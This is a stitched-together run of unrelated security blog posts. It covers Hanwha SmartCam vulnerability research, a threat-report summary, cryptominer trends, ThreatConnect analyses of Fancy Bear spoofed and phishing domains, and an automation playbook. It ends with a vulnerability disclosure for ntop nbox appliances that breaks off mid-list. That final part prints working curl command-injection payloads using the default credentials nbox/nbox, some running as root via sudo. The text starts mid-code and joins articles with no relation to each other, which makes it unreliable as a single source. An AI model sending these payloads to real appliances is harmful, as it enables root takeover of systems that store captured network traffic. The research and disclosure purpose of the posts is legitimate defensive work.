$header[HEADER_OFF_MAJOR_VERSION] = MAJOR_VERSION; //Major Version
$header[HEADER_OFF_MINOR_VERSION] = MINOR_VERSION; //Minor Version
int2byte($header, $cmd, HEADER_OFF_COMMAND); //Command
$header[HEADER_OFF_ACTION] = $act; //Action
$header[HEADER_OFF_MSG_TYPE] = $type; //Type
$header[HEADER_OFF_ERROR_CODE] = 0xFF; //Error Code
int2byte($header, $len, HEADER_OFF_MSG_LENGTH); //Length
str2byte($header, “127.0.0.1“, HEADER_OFF_PEER_IP, 40); //Peer IP[40]
int2byte($header, 80, HEADER_OFF_PEER_PORT); //Peer Port
str2byte($header, “admin“, HEADER_OFF_PEER_ACCOUNT, 16); //Peer Account[16] – Current user name
$header = array_merge($header, array_fill(0, 8, 0xFF)); //Reserved[8]
return $header;
}

Example of a request sent on behalf of admin

This method of communicating commands is used when camera communication is done both via HTTP API and via SmartCam applications. In the latter case, the packet is generated in the application itself and sent to the camera in a message body using the XMPP protocol. When accessing this file from the outside via HTTP API and SmartCam application, it can be accessed only through web server digest authentication.

Loopholes for intruders

The following vulnerabilities were identified during the research:

  • Use of insecure HTTP protocol during firmware update
  • Use of insecure HTTP protocol during camera interaction via HTTP API
  • An undocumented (hidden) capability for switching the web interface using the file ‘dnpqtjqltm’
  • Buffer overflow in file ‘dnpqtjqltm’ for switching the web interface
  • A feature for the remote execution of commands with root privileges
  • A capability to remotely change the administrator password
  • Denial of service for SmartCam
  • No protection from brute force attacks for the camera’s admin account password
  • A weak password policy when registering the camera on the server xmpp.samsungsmartcam.com. Attacks against users of SmartCam applications are possible
  • Communication with other cameras is possible via the cloud server
  • Blocking of new camera registration on the cloud server
  • Authentication bypass on SmartCam. Change of administrator password and remote execution of commands.
  • Restoration of camera password for the SmartCam cloud account

After some additional research we established that these problems exist not only in the camera being researched but all manufacturer’s smart cameras manufactured by Hanwha Techwin. The latter also makes firmware for Samsung cameras.

Below we give a more detailed account of some of our findings.

Undocumented functionality

As mentioned above, we detected, among others, an undocumented capability that allows manipulations with the camera’s web interface.

Code with undocumented functionality capability in Hanwha SmartCam

Interestingly, in addition a buffer overflow-type vulnerability was detected inside of it. We reported the issue with undocumented feature to the manufacturer, and it has already fixed it.

Vulnerability in the cloud server architecture

Another example of a dangerous vulnerability in this smart camera can be found in the cloud server architecture. Because of a fault in the architecture, an intruder could gain access via the cloud to all cameras and control them.

One of the main problems associated with the cloud architecture is that it is based on the XMPP protocol. Essentially, the entire Hanwha smart camera cloud is a Jabber server. It has so-called rooms, with cameras of one type in each room. An attacker could register an arbitrary account on the Jabber server and gain access to all rooms on that server.

Message sent over XMPP using a test account created for research purposes

Decoded body of the above message

In the process of communicating with the cloud, the camera sends the user’s credentials and a certain set of constants. After analyzing the data sent, a remote attacker is able to register existing cameras in the cloud that have not been registered there yet. As a result of this, the cameras could subsequently not able to register in the cloud and, as a consequence, are not able to operate. In addition, an attacker can communicate with the cloud on behalf of an arbitrary camera or control arbitrary cameras via the cloud.

Attack scenarios

An interesting attack vector is the spoofing of DNS server addresses specified in the camera’s settings. This is possible because the update server is specified as a URL address in the camera’s configuration file. This type of attack can be implemented even if a camera doesn’t have a global IP address and is located within a NAT subnet. This sort of attack can be implemented by taking advantage of the peculiarities and vulnerabilities that exist in the Hanwha SmartСam cloud architecture. An attack like this could result in the distribution of modified firmware to cameras with the undocumented functionality loophole preinstalled, which will give privileged rights on those cameras.

If an intruder gains privileged rights (root) on a camera, they gain access to the full Linux functionality. This means the camera can be used as a foothold from which to attack devices located on local (within a NAT subnet) or global networks.

In one attack scenario, an arbitrary camera can be cloned and its image signal spoofed for the end user without much difficulty. To do so, an intruder will have to use cloud interactions to find out the target camera’s model, serial number and MAC address. The attacker then resets the password using a vulnerability in the password generation algorithm and modifies the firmware of the cloned camera (which is an identical camera located on the attacker’s side). The victim’s camera is then remotely disabled. As a result, the victim will receive a video signal from the attacker’s cloned camera.

Other possible scenarios involve attacks on camera users. The camera’s capabilities imply that the user will specify their credentials to different social media and online services, such as Twitter, Gmail, YouTube, etc. This is required for notifications about various events captured by the camera to be sent to the user. An attacker would then be able to exploit this capability to send phishing and spam messages.

Conclusion

What can a potential attacker do with the camera? Our research has demonstrated that they have a number of options.

For one, the attacker can remotely change the administrator’s password, execute arbitrary code on the camera, gain access to an entire cloud of cameras and take control of it, or build a botnet of vulnerable cameras. An attacker can gain access to an arbitrary SmartCam as well as to any Hanwha smart cameras.

What are the implications for a regular user? A remote attacker can gain access to any camera and watch what’s happening, send voice messages to the camera’s on-board speaker, use the camera’s resources for cryptocurrency mining, etc. A remote attacker can also put a camera out of service so it can no longer be restored. We were able to prove this hypothesis three times 🙂

We immediately reported the detected vulnerabilities to the manufacturer. Some vulnerabilities have already been fixed. The remaining vulnerabilities are set to be completely fixed soon, according to the manufacturer.

Fixed vulnerabilities were assigned the following CVEs:

CVE-2018-6294
CVE-2018-6295
CVE-2018-6296
CVE-2018-6297
CVE-2018-6298
CVE-2018-6299
CVE-2018-6300
CVE-2018-6301
CVE-2018-6302
CVE-2018-6303

2018 Cyberthreat Defense Report: Where IT Security Is Going

What keeps you awake at night? We asked IT security professionals the same question and found that these issues are top of mind: malware and spear phishing, securing mobile devices, employee security awareness and new technologies that detect threats capable of bypassing traditional signature-based defenses.

In previous years cyberattacks were on a steady and alarming rise. But now, data shows a year-over-year decrease in organizations being hit by at least one successful attack – down from 79.2 percent to 77.2 percent.

Yet there are still plenty of obstacles and challenges security teams need to overcome. A lack of skilled IT personnel is at the top of the list. So too is low security awareness among employees and the escalating crush of data.

But the security landscape is changing as cloud deployment and delivery make significant in-roads in cybersecurity. For example, deployment of the following security solutions in hybrid-cloud environments are:

  • 46% in DoS and DDoS prevention
  • 47% in privileged account or access management
  • 44% in security information and event management
  • 45% in web application firewall

The top three motivations for organizations investing in user and entity behavior analytics (UEBA) technology include the ability to detect account hijacking, privilege access abuse and defend against insider threats.

Enterprise security teams are beginning to realize that what they’ve done in the past is steadily losing ground to advancements by today’s threat actors. A renewed effort and investment is needed to move forward with an integrated security solution.

Despite security deployments such as WAFs, database firewalls and data encryption, online organizations still need help keeping their data safe.

Mostly they’re looking to improve blocking threats (58 percent) and improve detecting threats (51 percent). Other popular options include improving detecting threats, reducing unwanted traffic and improving enforcement of usage policies.

A Complete Solution

IT security continues to evolve as data and application breaches grow. For security teams getting in front of threats is key. Early detection, traffic analysis, forensics and customizable policies can make the difference for organizations to change its security posture from being reactive to being proactive.

For more information, download the full 2018 Cyberthreat Defense Report at www.imperva.com/go/cdr.

Mining is the new black

UPDATED March 5th, 15.00

Last year we published a story revealing the rise of miners across the globe. At the time we had discovered botnets earning millions of USD. We knew this was just the beginning of the story, which turned out to develop rapidly.

Together with the rest of the world, we have been watching the hike in cryptocurrency, for example, the price of Bitcoin and Altcoins continuously beat records throughout 2017.

Bitcoin and Altcoins prices growth in 2017

While some spend time talking about what’s good or bad for the market and the global economy, we’ve seen that such a spike in prices was definitely a call for threat actors, meaning there are good opportunities for cybercriminals to earn money.

As a result, many cybercriminal groups have switched to malicious miner distribution, and the number of users that have encountered cryptocurrency miners has increased dramatically. We have found, that by the end of 2017, 2.7 million users had been attacked by malicious miners – this is almost 1.5 times higher than in 2016 (1.87 mln).

Number of Kaspersky Lab users attacked by malicious miners in 2017

They become so active and popular that even ransomware – which has frightened the world for the last couple of years, seems to step aside for this threat.

Here are some reasons why:

Firstly, miners and ransomware both have a clear monetization model. In the case of ransomware, attackers infect PCs, decrypt files and earn money by receiving a ransom for users’ data. The miners model is similar in its simplicity: attackers infect victims, make coins using CPU or GPU power, and earn real money through legal exchanges and transactions.

Miners’ monetization scheme

Secondly, unlike ransomware, it is very hard for users to understand if they’ve been infected by miners or not. In general, users use their computer for Internet surfing. This activity is not high loaded for CPU. The other 70-80% of CPU power is used by mining programs, and some of them have special functions to reduce mining capacities or cancel the process at all, if another resource-demanding program (for example, a videogame) is executed.

Most importantly, it is now very easy to make your own miner. Those interested can get everything that they need:

  • Ready to use partner programs
  • Open mining pools
  • A lot of miner builders

We have found that the most popular miner pool used by threat actors is Nanopool.

Statistics for used legitimate pools

If actors use open pools, it’s possible to find out how much money threat actors could earn.

Example of wallet information

Also, according to our data, 80% of illegal miners contain the open source code of legal miners, or it is just a legal miner that has been packed.

Ways of spreading

Usually, threat actors collaborate with potentially unwanted application (PUA) partner programs to spread miners. However, some small criminal groups try to spread malware by using different social engineering tricks, such as fake lotteries, etc. Potential victims need to download a generator of random numbers from a file-sharing service and run this on a PC to participate. It’s a simple trick, but a very productive one.

Another popular method is web-mining through a special script being executed in browser. For example, in 2017 our security solutions stopped the launch of web miners on more than 70 million occasions. The most popular script used by cybercriminals is Coinhive, and usual cases of its use in the wild are websites with a lot of traffic. The longer the user session on those sites, the more money the site’s owner earned from mining. Major incidents involving Coinhive are hacked web pages, such as the Pirate Bay case, YouTube ads or UFC fight pass mining. However, other examples of its legal use are also known.

There are other groups, which do not need to spread miners to many people. Instead, their targets are powerful servers in big companies. Thus, for instance, Wannamine was spreading in internal networks using an EternalBlue exploit, and earned nine thousand Monero this way (approx. two million dollars). However, the first miner that used the EternalBlue exploit was Adylkuzz. In our previous research we described another miner family – Winder – that has used an extra service to restore a miner when it was being deleted by an AV product. That botnet earned a half million dollars.

Sophisticated techniques

This year we are observing the next trend – threat actors behind miners have begun to use malware techniques from targeted attacks. Our latest discovery is the “hollow” miner that uses a process-hollowing technique.

In this case the infection vector is a PUA module. A victim may have just wanted to download a legitimate application, but instead they downloaded a PUA with a miner installer inside. This miner installer drops the legitimate Windows utility msiexec with a random name, which downloads and executes a malicious module from the remote server. In the next step it installs a malicious scheduler task which drops the miner’s body. This body executes the legitimate system process and uses a process-hollowing technique (legitimate process code is changed to malicious). Also, a special flag, system critical flag, is set to this new process. If a victim tries to kill this process, the Windows system will reboot. So, it is a challenge for security solutions to deal with such malicious behavior and detect the threat properly.

Infection chain

Process hollowing example

Using such sophisticated technique, botnets earned over seven million dollars during the second half of 2017.

Also this year, we found one threat group that has been targeting big organizations with the main purpose to utilize their computer resources for mining. After getting into a corporate network they get access to the domain controller, and as a result they use domain policies to launch malicious code. In this particular case, actors executed malicious PowerShell script on each endpoint and server inside the corporate network.

Malicious powershell script

This script has the following logic:

  • After launching, it checks if this endpoint belongs to specific accounts, i.e. senior levels or information security officers. If it is true, then the script won’t execute the miner.
  • This script also checks current date and time information. It will execute the malicious miner in non-working time.

So what’s next?

Should we expect a further evolution in this class of malware? For sure. Moreover, we will see a spread in malware that uses new blockchain technologies. One of the recent and very promising technologies is the blockchain-based proof-of-space (PoSpace) concept.

Unlike proof-of-work (PoW) used in general mining botnets, a PoSpace algorithm needs a hard disk space. Therefore, a new type of miners based on this algorithm will be aiming first of all at big data servers.

On the one hand, monetization in this case is like that in usual malware miners with a PoW algorithm. On the other, this technology can provide cybercriminals with another profit. The blockchain on the PoS algorithm is a very big decentralized anonymous data center that can be used to spread malware or illegal content. As a result, it can bring more damage. Data will be encrypted and no one will know where it is physically stored.

Mining scheme based on proof-of-concept algorithm

To protect your network against such threats we advise you:

  • Conduct a security audit on a regular basis
  • Use security solutions on endpoints and servers

Kaspersky Lab products detect such threats with various verdicts.

  • PDM:Trojan.Win32.Generic
  • not-a-virus:RiskTool.Win32.BitCoinMiner
  • HEUR:Trojan.Win32.CoinMiner

Duping Doping Domains

Possible Fancy Bear Domains Spoofing Anti-Doping and Olympic Organizations

Update - 1/19/18

We recently identified two additional domains -- login-ukad[.]org[.]uk and adfs-ukad[.]org[.]uk -- which appear to spoof UK Anti-Doping. The domain login-ukad.org.uk uses the Domains4Bitcoins name server previously mentioned and, as of January 19 2018, is hosted on dedicated server at the IP 185.189.112[.]191. This IP address is in the same 185.189.112.0/24 block as a previously identified IP that hosts the USADA-spoofing domain webmail-usada[.]org. SOA records for the login-ukad[.]org[.]uk domain indicate the domain was registered using the email address luciyvarn@protonmail[.]com. No other domains registered using that email address have been identified.

Using a DomainTools Reverse WHOIS search, we can identify that adfs-ukad[.]org[.]uk uses the same "Zender inc" organization name and "Vapaudenkatu 57" address string as login-ukad[.]org[.]uk. While this domain is not currently hosted on a dedicated server, it also appears to spoof UKAD. Given the consistency in spoofing UKAD, it suggests that the actor behind these domains may be engaged in a concerted effort against the UKAD or using their name to target others outside of the organization.

Like with the domains originally identified, we have no indication that these domains have been used in operations, but some of their registration and hosting information are consistent with previously identified Fancy Bear infrastructure. While these domains are not definitively attributable to Fancy Bear, given these consistencies they merit additional scrutiny. This information has been shared in our Common Community in Incident 20180119A: UKAD Spoofed Domains.

On 10 January, the Fancy Bears' HT - a faketivist most likely generated to release information garnered from Fancy Bear/APT28/Sofacy operations - released a post suggesting they had compromised emails from the International Olympic Committee (IOC). While we cannot verify the legitimacy or provenance of those leaked emails, ThreatConnect has identified spoofed domains imitating the World Anti-Doping Agency (WADA), the US Anti-Doping Agency (USADA), and the Olympic Council of Asia (OCASIA). These suspicious domains have consistencies with other previously identified Fancy Bear infrastructure and raise the question of a broader campaign against the upcoming 2018 winter games.

 

At this time, we cannot confirm whether these domains have been used maliciously nor definitively tie them to Fancy Bear without additional data. ThreatConnect has notified the spoofed organizations.

fancy-bears-ht-faketivist

Fancy Bears' HT doing faketivist things

 

 

Way Back When...In 2016

We're old enough to remember when Russian threat actors hacked the World Anti-Doping Agency (WADA) in the summer of 2016 after WADA recommended Russian athletes be banned from the 2016 games in Rio due to a large-scale state-backed doping program. After that hack, over 40 athletes' personal data was leaked.

When the IOC banned Russia from the upcoming winter games in South Korea due to systematic doping, we thought the stage was set for more retaliatory hacks. If you're unfamiliar with said doping scandal check out the documentary Icarus on Netflix (@IcarusNetflix).

 

Concerted Effort to Spoof USADA

In the course of our ongoing efforts to monitor domains registered through registrars that Fancy Bear has shown a tendency to use, we recently identified the domain webmail-usada[.]org, which spoofs the USADA's legitimate domain. This domain was registered on December 21 2017 and uses the Domains4Bitcoins name server that Fancy Bear has previously used. Additionally, as of January 10, 2018, this domain is hosted on a dedicated server at the IP 185.189.112[.]242.

threatconnect-dns-resolution-history-webmail-usada

ThreatConnect's DNS Resolution History for webmail-usada[.]org

 


While the domain was registered using privacy protection, start of authority (SOA) records for the webmail-usada[.]org domain indicate the domain was registered using the email address jeryfisk@tuta[.]io.

 

hurricane-electric-soa-information-webmail-usada

Hurricane Electric SOA information on webmail-usada[.]org

 

Using Iris from our friends at DomainTools, we can identify that this email address was also recently used in the SOA records to register another USADA-spoofing domain usada[.]eu.

 

 

domain-tools-iris

DomainTools Iris results for jeryfisk@tuta[.]io

 

This domain is not currently hosted. No other domains registered using that email address have been identified. However, given the consistency in spoofing USADA, it suggests that the actor behind these domains may be engaged in a concerted effort against the USADA or using their name to target others outside of the organization. This information has been shared in our Common Community in Incident 20180103B: USADA Spoofed Domains.

 

Guilt By Registrant Associations

We also identified a third domain, wada-adams[.]org, which spoofs the WADA's legitimate domain and Anti-Doping Administration and Management System (ADAMS). While this domain does not use a small or boutique name server that Fancy Bear has shown a tendency to use, and it is currently parked, it was registered on December 14, 2017 using the email address wadison@tuta[.]io.

 

domain-registered-wadison-tuta

Additional domain registered by wadison@tuta[.]io

 

This email address has only registered one other domain, networksolutions[.]pw, which uses the previously mentioned Domains4Bitcoins name server, and as of January 10, 2018, is hosted on dedicated server at the IP 23.227.207[.]182. The WADA-spoofing domain is currently parked; however, given the consistencies between wadison@tuta[.]io's networksolutions[.]pw domain and previously identified Fancy Bear infrastructure, it merits additional scrutiny. This information has been shared in our Common Community in Incident 20180103C: Domains Registered by wadison@tuta.io.

 

Olympic Council of Asia Spoofed Domain

Another interesting domain, ocaia[.]org, also recently came across our desks during Fancy Bear research. This domain was registered on December 25, 2017 and uses a THCServers name server -- another Fancy Bear favorite -- and appears to spoof OCASIA's legitimate domain ocasia[.]org. It should be noted that this spoofed domain is co-located on the IP 193.29.187[.]143 with about six other domains. Fancy Bear's domains often use dedicated servers, but given the subject and timing of this registration, defenders should also be on the lookout for this domain. This information has been shared in Incident 20180110B: Olympic Council of Asia Spoofed Domain.

 

Conclusion

We're going to reiterate something here: At the time of this blog's publishing, we don't know whether any of the infrastructure identified in this post is actually being used maliciously. But that's okay. In fact, we'd argue that if you're only concerned about what is known to be bad, you're going to be had.

While these domains are not definitively attributable to Fancy Bear, given these domains' consistencies and Fancy Bears' HT posts, they merit additional scrutiny. Furthermore, this incident highlights the importance of identifying activity that is consistent with adversaries' known infrastructure registration and hosting tactics. In doing so, organizations can incorporate a proactive approach to threat intelligence that may identify indicators like these that are associated with their adversaries before they are used against them.

The post Duping Doping Domains appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Playbook Fridays: Task Management

Playbook Fridays: Task Management
Simulate a task in ThreatConnect which can be modified to recur daily, weekly, or monthly  

ThreatConnect developed the Playbooks capability to help analysts automate time consuming and repetitive tasks so they can focus on what is most important. And in many cases, to ensure the analysis process can occur consistently and in real time, without human intervention.

As an analyst, you may have many recurring tasks that need to be  finished on a weekly or monthly basis and want to have all of your research and analysis tasks in one place (ThreatConnect). With this Playbook, you can simulate a recurring task in ThreatConnect, using a timer trigger which can be modified to create a task daily, weekly, or monthly.

The Playbook creates a task with the given name and a due date two days from the date on which the task is created.

playbook-run-weekly-threatconnect

After installing the playbook, change the "Run Weekly" app to run on the desired interval and at the desired time. Next, edit the "Set Variables" app. The "taskName" variable is used to set the name of the task as it will appear in ThreatConnect. The "dueDateOffset" variable is used to specify the amount of time between the date a new task is created and when it is due. Lastly, edit the "Create ThreatConnect Task" app and set the assignees, escalatees, and any other details about the recurring task which will be created.

Website Content Playbook

We've designed another Playbook to run weekly that requests website content, finds the hash of the website's content, retrieves the previous hash of the content from the playbook's datastore, and compares the hash of the current content with the hash of the previous content. If the hash of the current content is different from the hash of the previous content, an alert is sent.

Warning: Do not use this playbook to request the content of a malicious website. It should only be used to monitor the content of infrastructure which belongs to you.

run-weekly-playbook-variables-threatconnect

After installing the playbook:

  1. Edit the "Run Playbook Weekly" app to specify how often and when you would like the app to run.
  2. Edit the "Set Variables" app and set the website you would like to monitor and the slack channel to which you would like to send notifications (and feel free to change the user agent too).
  3. Find all of the apps which have errors and fill in the missing fields (which include parameters like the ThreatConnect owner and slack API token).
  4. Turn it on and run the playbook!

Periodically capture the content of a website and send an alert if the content changes.

 

playbook-threatconnect-gif

 

 

 

The post Playbook Fridays: Task Management appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Fancy Bear Pens the Worst Blog Posts Ever

ThreatConnect reviews continuing Fancy Bear activity targeting citizen journalism organization Bellingcat and identifies a new tactic leveraging Blogspot to mask their credential harvesting links.

Our friends over at Bellingcat, which conducts open source investigations and writes extensively on Russia-related issues, recently shared a new tranche of spear-phishing emails they had received. Spoiler alert: they originated from Fancy Bear actors. Using the ThreatConnect platform we ingested the spear-phishing emails Bellingcat provided, processed out the relevant indicators, and compared them to previously known Fancy Bear activity. It turns out that this campaign had an association to 2016 Fancy Bear activity previously identified by the German Federal Office for the Protection of the Constitution (BfV). More interestingly however, Fancy Bear employed a new tactic we hadn't previously seen: using Blogspot-hosted URLs in their spear-phishing email messages. The Blogspot page contained a javascript window location that redirected the visitor to a second URL hosted on a dedicated server.

Delivery Stage

The phishing email used to deliver the malicious URLs pretends to be a password change for the target's Google account or a link to view a folder shared via Dropbox. The collection of indicators related to this campaign have been shared with ThreatConnect's Common Community here.

phishing-email-fancy-bear

Example of the Google account themed variant

 

 

Example of the Dropbox themed variant

 

The phishing email contains a link hosted on Blogspot such as this: hxxps://pkfnmugfdsveskjtb[.]blogspot[.]com. This URL also contains a query parameter, "uid", that is unique per phishing email. The full format for the URL is the following:

https?://[a-z0-9]{11,17}\.blogspot\.(?:com|pt)\?uid=[a-z0-9]{10}

 

email-import-threatconnect-fancy-bear

Importing the malicious email into ThreatConnect

Redirect

The blogspot page contains a small snippet of Javascript near the top of the source html that includes a Javascript window location redirect. An example of this javascript is:

blog-redirect-script

The landing page URL in this redirect, hxxps://google[.]com[.]account-password[.]ga/security/signinoptions/password is hosted on google[.]com[.]account-password[.]ga which currently resolves to the IP address 80.255.12[.]231. This IP is a dedicated VPS hosted by MonoVM, a company based in Dubai. Honestly, this is quite low quality content for a blog. Here is some good advice for authoring blog content, and if so inclined, here is a good example to study.

Passive DNS Analysis

Using  Farsight's passive DNSDB integration in ThreatConnect, a number of other similar hostnames were found resolving to 80.255.12[.]231. One in particular, accounts[.]google[.]com[.]securitymail[.]gq, stands out from the rest. The base domain of this host, securitymail[.]gq, has a previous resolution to IP 95.153.32[.]52. This IP address is a broadband connection located in Estonia on TELE2's network that was also used to host the domain smtprelayhost[.]com from December 2015 to December 2016. This overlaps with the time that securitymail[.]gq resolved to the same broadband IP address in March 2016. In case you may have missed it, smtprelayhost[.]com is called out as being Fancy Bear infrastructure in BfV Cyber-Brief Nr. 01/2016.

 

Screenshot showing passive DNS overlap

 

 

FB-Bellingcat-Blogspot-Phishing-Campaign

Overview of the phishing campaign - highlighting infrastructure overlap

Bedecked in Blogspot

The use of Blogspot URLs has similarities with the notional tactics identified in a September Salon article on Fancy Bear leveraging Google's Accelerated Mobile Pages (AMP) to create URLs for their credential harvesting pages. Doing so likely allowed some Fancy Bear spear-phishing messages to avoid security filters that would have otherwise identified the malicious URLs. In this same way, a URL hosted on Google's own systems, in this case Blogspot, may be more likely to get past spam filters than URLs hosted on a third party IP address or hostname.

 

Exploiting Their Behavior

Several of the domains that host the credential harvesting pages identified above use .ga or .gq top level domains (TLDs) and were registered through Freenom. This reminded us of Fancy Bear's .ga Freenom infrastructure that they also employed against Bellingcat in October 2016. Looking closer at the domains identified in their recent attacks using our DomainTools Spaces App, we see that most of the domains were registered in the last three months.

 

tcs-domaintools-threatconnect

 

threatconnect-domaintools-spaces-app

ThreatConnect's DomainTools Spaces App results for account-password[.]ga and passwordreset[.]gq

 

What's more, the use of strings like "security," "login," "password," and "files" are another component of the registration tactics that they are employing and we may potentially be able to exploit. To that end, we decided to take a look at other domains that were registered using Freenom since July 2017 and contained one of those strings.

 

Using DomainTools Iris, we conducted a search for any domains that use a Freenom name server, use a .ga or .gq TLD, and contained one of the four strings previously mentioned.

 

domiantools-query-freenom-domains

DomainTools Iris query for Freenom domains.

 

Unfortunately, WHOIS records for Freenom-registered domains don't capture the create date showing when the domain was registered. From there, we reviewed the WHOIS history for each of the domains returned from the Iris query to identify when it was registered based on the earliest available record. The following domains were the result of that research:

 

 

access-apple-login-account[.]gq fileshelpprotut[.]ga reset-password-com[.]ga
account-activity-verification-login[.]ga fileshelpprotut[.]gq restore-login-account[.]gq
account-verify-comfirmation-info-login[.]ga filestore[.]gq review-quilogin[.]ga
account-verify-comfirmation-info-login[.]gq goldsecurity[.]ga secure-bankofamerica--login-com[.]ga
accountlogin-inc[.]ga info-apple-login-security[.]gq secure-bankofamerica--login-com[.]gq
accountverify-disableinfo-login[.]gq jp-login[.]gq secure-login-helpid-locked[.]gq
alert-new-login-com[.]ga locked-service-security[.]ga secure-management-login-account-index-webpass[.]gq
apple-realertlogin[.]gq login-bancochile-cl[.]ga secure-mobile-login1[.]gq
appleid-login-appleid[.]ga login-pap-web-access[.]ga secure1-client-login[.]ga
appleid-manageaccountloginupdated[.]ga login-recovery[.]gq secure1-client-login[.]gq
appleidcustomer-servicess-com-loginaccount[.]ga login-sec-apple-secure-account-updated[.]ga secure1-login-apps[.]gq
appleidcustomer-servicess-com-loginaccount[.]gq login-secure1-mobile[.]ga secure5647login-com[.]ga
browsersecurity[.]ga login-unlock-account[.]ga security-login-information[.]gq
change-password[.]gq login-update-unlock[.]gq securitycenter[.]ga
cleantarea-customerlogin-com[.]ga loginapps-info[.]ga service-account-home-login[.]gq
clientareasecurity1[.]gq loginpaypaas-securityuserid[.]ga service-autoreset-password-youraccount[.]ga
clientareasecurity4[.]gq loginservice-maintanceserversecurity[.]gq service-login-apple-verify-account-locked[.]gq
com-recoverylogin[.]gq manage-login[.]gq servicelogin-access-failed[.]gq
com-supportlogin-adminverification[.]ga manage-logins[.]gq services-loginaccount[.]ga
darksecurity[.]ga mod-files[.]ga sharefiles[.]gq
dns-sec-login-apple-invoice-confirmations[.]ga mydocuments[.]gq signin-login-php[.]ga
dns-webapps-login-account-secure-servers[.]ga newaction-loginactivituresource[.]ga srilankadocuments[.]ga
documentation[.]gq newfiles[.]ga statement-login-update-info[.]ga
documentshandler[.]ga ns-secures-login-accountjp-updates-community[.]gq summary-loginconfirmation[.]ga
emailloginerror[.]gq nursingdocumentation[.]gq unsecured-login-attempt[.]ga
facebook-login-page[.]gq ourfiles[.]ga verify-login-account-iinformation[.]ga
failure-login[.]ga pdf-document[.]ga verify-login-account-iinformation[.]gq
fileshelp[.]ga protector-files[.]ga welcome-apple-protectyourpassword[.]gq
fileshelp[.]gq recoverylogin-access[.]ga

www-logined-apple-authsecure[.]ga

 

While not definitively attributable to Fancy Bear, given some consistencies with their identified infrastructure, organizations that are concerned about Fancy Bear activity should thoroughly scrutinize any network activity identified with these domains. These domains have been shared in the ThreatConnect platform in Incident 20171031A: Additional .ga and .gq Freenom Infrastructure Similar to Fancy Bear's.

Bear with a Bone

At this point, this Russian advanced persistent threat (APT) has consistently targeted Bellingcat for at least two-and-a-half years, ever since the first identified activity in February 2015. Whatever your organization's biggest threat is, we'd argue that understanding their tactics and defending against and exploiting those tactics is the pinnacle of incorporating threat intelligence into your defenses. From our ThreatConnect Intelligence source to our extensive integrations, the ThreatConnect Platform enables organizations to not only identify their relevant threats, but proactively capitalize on their known tactics and automagically incorporate that intelligence into their defenses. In this case, we used the ThreatConnect platform to understand how an attack attempted to compromise an organization, connect information from that attack to a previous one, attribute the activity, and memorialize intelligence derived from the operation.

The post Fancy Bear Pens the Worst Blog Posts Ever appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

Got any RCEs?

Security is a boomin’, and so there are many different appliances to protect your network. Some of them do very little to protect, some of them open new holes in your network.

In line with best practice, many Security teams capture all network traffic using a variety of solutions, some closed, some open source. Once the traffic is stored, it can be used to detect badness, or just examine traffic patterns on corporate assets.

One of these open source options is NTOP, which of course has an appliance version, called nbox recorder.  It goes without saying, if this traffic data were to be exposed, the consequences could be catastrophic. Consider stored credentials, authentication data, PII, internal data leakage...
pcap_tee.png
PCAP or it didn't happen

You can either buy a ready-to-go appliance or with some drudge work you can build your own. Just get a license for nbox and just put it into a Linux box, they are nice like that providing all the repositories and the steps are simple and easy to follow. Just spin up an Ubuntu VM and run:


wget http://apt.ntop.org/14.04/all/apt-ntop.deb
sudo dpkg -i apt-ntop.deb
sudo apt-get clean all
sudo apt-get update
sudo apt-get install -y pfring nprobe ntopng ntopng-data n2disk cento nbox





BOOM! You are ready to go. Now you have a nbox recorder ready to be used. And abused!
The default credentials are nbox/nbox and it does use Basic Auth to be accessed.

Before I continue, imagine that you have this machine capturing all the traffic of your network. Listening to all your corporate communications or production traffic and storing them on disk. How bad would it be if an attacker gets full access to it? Take a minute to think about it.


nervs.gif
Uh-oh...
This level of exposure caught my eye, and I wanted to verify that having one of these sitting in your network does not make you more exposed. Unfortunately, I found several issues that could have been catastrophic with a malicious intent.

I do believe in the responsible disclosure process, however after repeatedly notifying both ntop and MITRE, these issues were not given high priority nor visibility. The following table details the timeline around my disclosure communications: 

Disclosure Timeline

12/27/2014 - Sent to ntop details about some nbox vulnerabilities discovered in version 2.0
01/15/2015 - Asked ntop for an update about the vulnerabilities sent
01/16/2015 - Requested by ntop the details again, stating they may have been fixed
01/18/2015 - Sent for a second time the vulnerabilities details. Mentioned to request CVEs
05/24/2015 - Asked ntop for an update about the vulnerabilities sent and to request CVEs
01/06/2016 - Noticed new nbox version is out (2.3) and found more vulnerabilities. Old vulnerabilities are fixed. Sent ntop an email about new issues and to request CVEs
01/06/2016 - Quick answer ignoring my request for CVEs and just asking for vulnerabilities details.
01/28/2016 - Sent request for CVEs to MITRE, submitting a full report with all the issues and steps to reproduce.
02/17/2016 - Asked MITRE for an update on the issues submitted.
02/17/2016 - Reply from MITRE: “Your request is outside the scope of CVE's published priorities. As such, it will not be assigned a CVE-ID by MITRE or another CVE CNA at this time.”

07/10/2016 - Noticed new nbox version (2.5) with partial fixes for some vulnerabilities in the previous (2.3) version

The ntop team initially refused to comment and silently fixed the bugs. MITRE then said this wasn't severe enough to warrant a CVE. As such, I have now chosen to highlight the issues here in an effort to have them remediated. I again want to highlight that I take this process very seriously, but after consulting with multiple other individuals, I feel that both the ntop team and MITRE have left me no other responsible options.
neotrain1.jpg
Here comes the paintrain!

*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:


RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK

curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'


RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;


curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22


